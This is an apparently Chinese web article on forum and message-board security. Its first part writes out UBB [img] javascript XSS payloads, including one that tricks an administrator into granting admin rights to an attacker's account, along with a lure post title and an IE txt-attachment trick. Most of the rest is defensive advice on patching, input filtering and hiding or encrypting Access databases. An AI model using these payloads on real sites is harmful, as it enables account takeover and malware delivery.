还有一种比较有趣也比较难利用的方法，其实就是所谓的跨站脚本攻击。先说一个有趣的现象，在论坛中流行的ubb代码中有一个bug，[img]和[/img]这对标签是ubb代码中经常会用到的，用来引用一个图片。在[img]和[/img]中如果插入的不是图像而是javascript脚本它同样会执行！举个例子，如假设你在某论坛中所发帖子内容为：[img]javascript:alert("黑客")[/img]，当有人点击这个贴子就会弹出一个对话框。
如果把上面的内容换为：[img]javascript:alert("黑客");self.open("http://url")[/img]，
则点击后不仅会弹出一个对话框，而且还会打开一个新的网页窗口。如果黑客在这个网页里放入网页木马会怎么样呢？答案是你会中木马！不仅如此，利用这个办法还可以使论坛中没有任何权限的用户提升为管理员！假设某论坛加新管理员hacker的url是http://ip/bbs/upadmin?user=hacker，由于这个url只有以管理员身份执行才可以成功，所以你直接在地址栏中输入是没有任何用处的。但是利用刚刚提到的跨站脚本攻击，只要黑客先注册一个名为hacker的用户，然后新建一个帖子，在里面写入：[img]javascript:alert("黑客");self.open("http://ip/bbs/upadmin?user=hacker")[/img]，然后给这个帖子起个醒目的主题，如“管理员论坛好像有大漏洞”，来引诱该论坛的管理员来查看此贴，当管理员点击此贴后，hacker这个用户就会提升为该论坛的管理员！同样的道理，黑客还可以上传一个txt附件，txt文件里就是那个加hacker管理员的url，由于ie浏览器存在一个问题，即只要文件里面含有html代码就会执行（ie才不理会后缀名是什么呢），所以论坛管理员只要点此txt附件，就会在论坛中增加一个名为hacker的管理员。如果对[img][/img]之间或txt附件里面的代码进行精心伪造，黑客还可以让论坛管理员在点击帖子或txt附件后毫无察觉，所以很难防范。
之所以会出现论坛或留言板等遭受攻击，关键是由于有漏洞存在，只要将这些漏洞堵上就没有问题了。但是许多漏洞的存在是由于论坛或留言板编程时作者的疏漏所致，作为使用者是较难防范的，我们只能寄希望于作者早日解决这些问题。从这个角度来说，论坛管理员经常给自己的论坛打补丁是必不可少的。应该经常留心各大黑客组织发布的漏洞公告，及时发现自己的论坛所存在的问题。再有，要严格过滤特殊字符，防止有人利用特殊字符进行攻击。无论是管理员还是论坛中的普通用户，都建议您能设置一个强壮的密码，并定期更换，以防止别人暴力破解你的密码。
针对论坛数据库被人下载下来然后破解的问题，建议管理员能将论坛的数据库文件改成一个没有规律的复杂名字，并将扩展名由mdb改为asa，如3sdal9eklz9c0ad.asa，3sdal9eklz9c0ad.inc等，有点像用md5加密过，对吧？同时还要将该文件放到深层目录中，这样在一定程度上可以减少被人下载的危险。
将数据库database.mdb改成#database.mdb，这是最简单有效的办法。我们来解释一下这样做的好处：假设别人得到你的数据库地址串将是：http://www.yourserver.com/yourfolder/#database.mdb，但实际上他得到是：http://www.yourserver.com/yourfolder/，因为#在这里起到间断符的作用，地址串遇到#号，自动认为访问地址串结束。注意不要设置目录可访问，用这种方法，不管别人用何种工具都无法下载。注：只要数据库文件名任何地方含有'#'，别人都无法正常下载。同理，空格号也可以起到'#'号作用，但必须是文件名中间出现空格。
另外，还要使用access软件来为数据库文件编码及加密。首先选取 “工具→安全→加密/解密数据库”，选取数据库文件然后确定，接着会出现“数据库加密后另存为”的窗口，确定后文件就会被编码加密。以上的操作并不是对数据库设置密码，而只是对数据库文件加以编码，目的是为了防止他人使用别的工具来查看数据库文件的内容。接下来还可以为数据库设置访问密码。首先打开经过编码的库文件， 在打开时，选择“独占”方式。然后选取功能表的“工具→安全→设置数据库密码”，接着输入密码即可。这样即使他人得到了这个文件，没有密码也是无法看到内容的。这样就算黑客知道access数据库的名字也无法轻易下载，这种方法通常在租用别人服务器时使用。最后，建议您在iis中把数据库所在的目录设为不可读，这样就可以防止文件被人下载了！
对于普通用户而言，建议大家不要在论坛中留下真实的联络方式，如e-mail和qq等，如果非要留下不可，论坛中你的密码一定不要和其他密码相同，免得被人顺藤摸瓜，得到你的全部秘密！
如对本文有疑问，
点击进行留言回复！！
相关文章:
-
-
论坛通用入侵一条龙教学(图)
目前网上有种新的趋势，黑客们的攻击目标开始从网站延伸到论坛和聊天室及留言板等公共场所，而许多用户的论坛密码竟然与E-mail和QQ的密码完全相同，因此对大家的网...
[阅读全文]
-
-
-
追踪入侵JSP网站服务器
在用JSP制作的电子商务网站多如牛毛。但是对于JSP网站而言，安全性真的能够让人放心吗？面对层出不穷的黑客攻击和病毒袭击，JSP网站的服务器能够比其他网站的服务...
[阅读全文]
-
-
-
-
-
-
我要评论
网友评论